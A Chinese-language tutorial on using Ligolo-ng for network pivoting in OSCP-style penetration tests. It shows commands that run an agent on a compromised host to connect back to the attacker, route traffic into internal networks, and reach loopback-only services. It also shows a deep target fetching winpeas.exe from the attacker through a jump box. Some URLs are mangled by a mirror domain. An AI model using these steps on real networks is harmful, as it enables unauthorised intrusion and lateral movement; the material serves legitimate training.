在渗透测试领域,网络枢纽(Pivoting)和隧道技术是攻防的核心技能,尤其是在OSCP(Offensive Security Certified Professional)考试中,能够快速、高效地访问目标网络内部资源往往是通关的关键。传统的隧道工具如SSH、Chisel、Socat和Netcat虽然功能强大,但在复杂网络环境下的性能、稳定性以及配置便捷性有时难以完全满足需求。而Ligolo-ng作为一款新兴的轻量级隧道工具,以其高效的TUN接口设计、无需SOCKS代理的特性以及高达100 Mbits/sec的传输速度,迅速成为渗透测试人员的新宠。本文将从Ligolo-ng的基础概念入手,详细讲解其安装、配置与使用流程,并深入探讨其在OSCP考试中的适用性,旨在帮助读者全面掌握这一强大工具。
第一部分:认识 Ligolo-ng
1.1 什么是Ligolo-ng?
Ligolo-ng 是一个由Nicolas Chatelain开发的高效隧道工具,基于Go语言编写,是对早期Ligolo项目的改进版本。它专为网络渗透测试设计,主要用于在攻击者与目标网络之间建立枢纽(Pivot)和隧道。与传统工具不同,Ligolo-ng通过反向TCP或TLS连接,结合操作系统提供的TUN接口(虚拟网络接口),构建了一个用户态网络栈,从而实现对目标网络的直接访问。
其工作原理可以简单概括为:
- 代理端(Agent):运行在已攻陷的目标机器上,负责与攻击者的代理(Proxy)建立连接。
- 代理(Proxy):运行在攻击者机器上,接收来自Agent的连接,并通过TUN接口将流量路由到目标网络。
这种设计避免了传统工具依赖SOCKS代理或逐一端口转发的复杂性,使得Ligolo-ng在性能和易用性上具有显著优势。
1.2 Ligolo-ng的核心特性
-
VPN-like
通过TUN接口,Ligolo-ng模拟了VPN的功能,将攻击者的流量无缝路由到目标网络。这种方式无需额外的代理工具(如Proxychains),即可直接访问内部资源。 -
多协议支持
支持TCP、UDP和ICMP协议,能够处理Nmap扫描(包括SYN扫描、OS检测)、服务枚举和Ping测试,传输速度可达100 Mbits/sec,远超许多传统工具。 -
灵活的端口转发
通过listener_add
命令,Ligolo-ng支持本地和远程端口转发,类似于SSH的-L
和-R
选项,但配置更直观。 -
无需特权运行Agent
Agent端无需管理员权限即可运行,非常适合权限受限的场景,例如OSCP中常见的低权限初始立足点。 -
多层Pivot支持
Ligolo-ng通过多会话管理(Session),能够轻松实现双重甚至三重Pivot,适应复杂的多层网络环境。
1.3 为什么选择Ligolo-ng?
与传统工具相比,Ligolo-ng的优势显而易见:
- 对比SSH:SSH需要配置SOCKS代理(如
-D
选项)或逐一转发端口,而Ligolo-ng通过路由表直接访问目标网络,效率更高。 - 对比Chisel:Chisel依赖SOCKS5代理,配置复杂且性能受限,Ligolo-ng则通过TUN接口提供更低的延迟和更高的吞吐量。
- 对比Socat:Socat功能强大但配置繁琐,Ligolo-ng的操作更简洁,适合快速部署。
在OSCP考试和真实渗透测试中,Ligolo-ng的这些特性使其成为处理复杂网络拓扑的理想选择。
第二部分:Ligolo-ng 的安装与配置
2.1 安装准备
在使用Ligolo-ng之前,需要分别在攻击者机器和目标机器上部署Proxy和Agent组件。Proxy运行于攻击者端,作为流量中转核心;Agent则部署在目标端,负责建立与Proxy的连接。本节以Kali Linux(攻击者端)和Linux/Windows(目标端)为例,详细介绍安装流程。
下载Ligolo-ng
Ligolo-ng的预编译二进制文件可从其官方GitHub发布页面(github.com/nicocha30/ligolo-ng)获取。以下为具体步骤:
-
攻击者机器(Proxy端)
在Kali Linux上下载并解压Proxy组件:wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_Linux_64bit.tar.gz tar -xvf ligolo-ng_proxy_0.7.5_Linux_64bit.tar.gz mv proxy lin-proxy chmod +x lin-proxy
mv
命令将文件重命名为lin-proxy
,便于区分和调用。chmod +x
赋予执行权限。
-
目标机器(Agent端)
- Linux目标:
在目标Linux主机上执行以下命令:wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_Linux_64bit.tar.gz tar -xvf ligolo-ng_agent_0.7.5_Linux_64bit.tar.gz mv agent lin-agent chmod +x lin-agent
- Windows目标:
从GitHub下载ligolo-ng_agent_0.7.5_Windows_64bit.zip
,使用解压工具(如WinRAR或7-Zip)解压,得到可执行文件agent.exe
。无需额外赋予权限,直接可用。
- Linux目标:
-
验证安装
在攻击者和目标机器上分别运行以下命令,检查版本信息:./lin-proxy --version ./lin-agent --version
正常情况下,输出应显示
ligolo-ng v0.7.5
或所下载的最新版本号,确保二进制文件可用。
2.2 配置TUN接口
Ligolo-ng利用TUN虚拟网络接口实现流量路由,因此在攻击者机器上必须正确配置并启用TUN接口。以下为Linux系统的配置步骤:
-
创建TUN接口
在Kali Linux中,使用以下命令创建虚拟接口:sudo ip tuntap add user $USER mode tun ligolo
$USER
为当前登录用户(如kali
),确保接口归属当前用户以便操作。ligolo
为自定义接口名称,可根据需要调整。
-
激活接口
将创建的TUN接口启用:sudo ip link set ligolo up
-
验证配置
检查网络接口状态:ip a
输出中应出现
ligolo
接口,且状态显示为UP
,表明接口已成功激活。
如何关闭TUN接口:
sudo ip link set ligolo down
sudo ip tuntap del mode tun ligolo
第三部分:Ligolo-ng 的基本使用
1. 启动代理(攻击者机器)
在攻击者机器上启动Ligolo-ng的Proxy服务:
./lin-proxy -selfcert
-selfcert
:自动生成自签名TLS证书,用于加密通信。- 默认监听端口为
11601
,可通过-listen <IP:PORT>
自定义。
2. 分发Agent文件
在攻击者机器上快速搭建HTTP服务以分发Agent:
python3 -m http.server 80
目标机器通过wget下载Agent:
wget http://<攻击者IP>/lin-agent
chmod +x lin-agent
3. 运行Agent(目标机器)
在目标机器上启动Agent并连接至Proxy:
./lin-agent -connect <攻击者IP>:11601 -ignore-cert
-connect
:指定Proxy的IP和端口。-ignore-cert
:忽略自签名证书的验证,简化部署。
4. 管理会话(攻击者机器)
Proxy启动后会进入交互式界面,可执行以下命令:
- 查看当前会话:
session
- 显示所有已连接的Agent及其ID。
- 选择会话:
start <ID>
- 例如
start 1
,进入指定Agent的隧道管理模式。
- 例如
- 查看帮助:
help
- 列出所有可用命令。
5. 添加路由
为访问目标内网,需在攻击者机器上配置路由:
sudo ip route add 192.168.1.0/24 dev ligolo
验证路由是否生效:
ip route
输出中应包含192.168.1.0/24 via ligolo
。
第四部分:Ligolo-ng 的高级使用
Ligolo-ng 除了基本的内网访问功能,还支持多种高级特性,在复杂渗透场景中非常实用。本节将讲解以下两个关键能力:
- 访问 Agent 所在主机的本地监听服务(127.0.0.1)
- 多级跳板(Pivot)代理链,实现深层内网横向渗透
4.1 访问 Agent 本地监听服务(127.0.0.1)
在渗透过程中,目标主机上常常存在仅监听本地回环地址(127.0.0.1
)的服务,如:
- 本地 Web 服务:
127.0.0.1:8080
- 内部 API 接口
- Redis/MySQL 等管理端口
⚠️ 问题
这类服务无法直接通过 Tun 访问,因为其绑定在 localhost,只能从目标机器本地访问。
✅ 解决方法:使用 Ligolo-ng 的「魔法 CIDR」
Ligolo-ng 内置了一个特殊的地址段:240.0.0.0/4
其中: 240.0.0.1
会·映射为目标主机上的 127.0.0.1
💡 操作步骤
1. 添加路由:
在 Kali 上,将目标地址映射到 Ligolo TUN 网卡:
sudo ip route add 240.0.0.1/32 dev ligolo
2. 访问目标主机本地服务:
以访问目标的 127.0.0.1:80
为例:
curl http://240.0.0.1
你也可以进行端口扫描:
nmap -Pn -sT 240.0.0.1
✅ 优势:无需在目标机器额外暴露端口,比同类工具 chisel 操作方便不止一点。
4.2 通过跳板访问 Kali
在某些环境中,目标机器无法直接访问 Kali,只能访问中间跳板机。这时,可通过 Ligolo-ng 的 listener_add
功能,将 Kali 的服务端口“暴露”给跳板机,进而使深层目标机器间接访问 Kali。
🎯 场景示意
Kali (公网IP)
└── ligolo Proxy
↑
│
Jump Box A(已控跳板机)
└── listener_add 映射端口
↑
│
Target B(深层目标)
└── 访问 A 的转发端口(跳板转发至 Kali)
✅ 操作流程
1. 在 Kali 启动 Proxy:
./lin-proxy -selfcert
默认监听 11601
端口。
2. 在跳板机 A 启动 Agent 连接 Kali:
./lin-agent -connect <KALI_IP>:11601 -ignore-cert
3. 在 Kali 的 Ligolo 界面中添加 Listener 转发端口:
listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:80 --tcp
含义:
- 在跳板机上开启
8000
端口的监听,将流量转发到kali本地的80
端口- 该端口将通过跳板机的隧道暴露出去,供目标机器 B 使用
4. 在深层目标 B 上建立反向连接:
如 Kali 已经在 80 端口开启了一个 http server:
wget http://<跳板机A-ip>:8000/winpeas.exe -o winpeas.exe
此时 B 会话将穿过 A,最终连回 Kali,实现真正意义的 深层机器反向连接。
总结
Ligolo-ng 凭借其模块化、高性能与稳定的 TUN/TAP 隧道机制,正在逐步取代传统 SOCKS 代理工具,成为 OSCP 实战环境 和 企业红队渗透中的首选隧道方案。
通过本教程,你已经掌握了从安装部署、会话管理、路由配置,到高级用法(如访问目标本地服务和多跳代理)的完整流程。无论是横向移动、深网资产探测,还是内网 RDP、SQL、SMB 等协议的稳定交互,Ligolo-ng 都能胜任。
现在就集成 Ligolo-ng 到你的攻击链中,解锁更深层次的内网渗透能力吧!
🧠 高级功能速查表
功能模块 | 用法与场景说明 |
---|---|
🎯 魔法 CIDR | 使用 240.0.0.1 访问目标主机的 127.0.0.1 (本地监听服务),轻松穿透Loopback隔离 |
🔁 多级代理(Pivot) | listener_add --addr 0.0.0.0:跳板机要监听的端口 --to 127.0.0.1:kali本地端口 --tcp |
参考资料